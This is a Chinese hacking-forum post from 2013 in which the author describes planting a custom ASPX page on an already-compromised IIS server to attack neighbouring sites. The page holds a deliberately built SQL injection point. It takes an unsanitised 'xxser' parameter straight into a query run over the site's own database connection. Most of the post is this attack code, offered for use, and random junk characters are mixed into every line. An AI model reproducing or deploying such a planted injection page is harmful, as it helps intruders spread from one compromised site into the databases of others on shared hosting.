中国网络渗透测试联盟

标题: 利用aspx构造注射来跨站 [打印本页]

作者: admin    时间: 2013-3-20 21:32
标题: 利用aspx构造注射来跨站
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
  j0 \+ ?6 y4 t1 S! ]其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。3 [4 C, {, Z7 |/ k2 q( y6 v5 O
代码量不多,自己写个拉倒了。烦死了。
8 j. t0 K0 j6 {- n9 q2 S9 `. a; B$ Y
" J1 h% a* e+ R5 e, Y7 S" h: U6 y, |3 ?4 g+ a. N
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
% {# V! A! {, @6 }5 S% ]; a$ n: R* b' ~<html xmlns="http://www.w3.org/1999/xhtml">
1 G: w) Q" ~% V4 I; b3 v& O5 L9 S<head runat="server">9 x7 m0 f# ^1 l5 H
    <title>暗影aspx构造注射专用页面</title>
& l( T3 n. w) C. A* Z+ l5 H</head>; a8 l: Y0 S! M5 w1 v' Y
<body>4 d) m4 s! k: o' u1 |) d7 C- l
    <form id="form1" runat="server">
9 q8 d0 J0 q0 t    <div>2 n2 h8 k4 T. ^/ B5 O% C' L+ Q
     <script language="c#" runat="server">% |$ h4 U% k3 H5 @$ T$ T; u
            
- b) c: d$ B* _8 y         void page_init(object sender, EventArgs e)
. S, p: W. B; [' q  U+ p! ]3 [         {
6 x# ~- s+ X/ c) L7 x. w( r* G0 A            
8 ?$ z4 y2 g3 l' h* a# A             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();3 _5 O- P$ D  W) w! F
            
% P) d' g( _& Z) e  \8 h             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
3 i/ j) x" O9 F/ m8 J' g             conn.Open();/ i+ c* G* [- Z
            
$ @) L+ T" T/ L& ]1 j. l             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1- E  ^- G* m, I( B& N
            
+ ^) L* M2 ^# n% z7 ^, \             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
" E7 _. A1 O2 z) v: d             int x = command.ExecuteNonQuery();$ l: [) l6 @4 t" |9 Y
             Response.Write(i+"\n");/ n9 `) R" p0 {! q, H
             Response.Write(x);
# R$ c% P5 H2 m  q) i8 P             conn.Close();
! e. `. m5 w1 J3 t( Y. z         }0 j) A9 ^: \; w3 |+ U" O2 e
     
2 E1 e! e. |. |8 j" V  </script>3 M* R8 f1 ^0 m: K7 q
    </div>
3 i: J% T  L, l3 o! ]( L7 K8 ^    </form>
8 O* a& O$ y  m+ \4 ]7 A& @. N</body>) L6 F/ e# ]2 Z; l
</html>8 g8 B) G* @& h, V. ^- Y





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2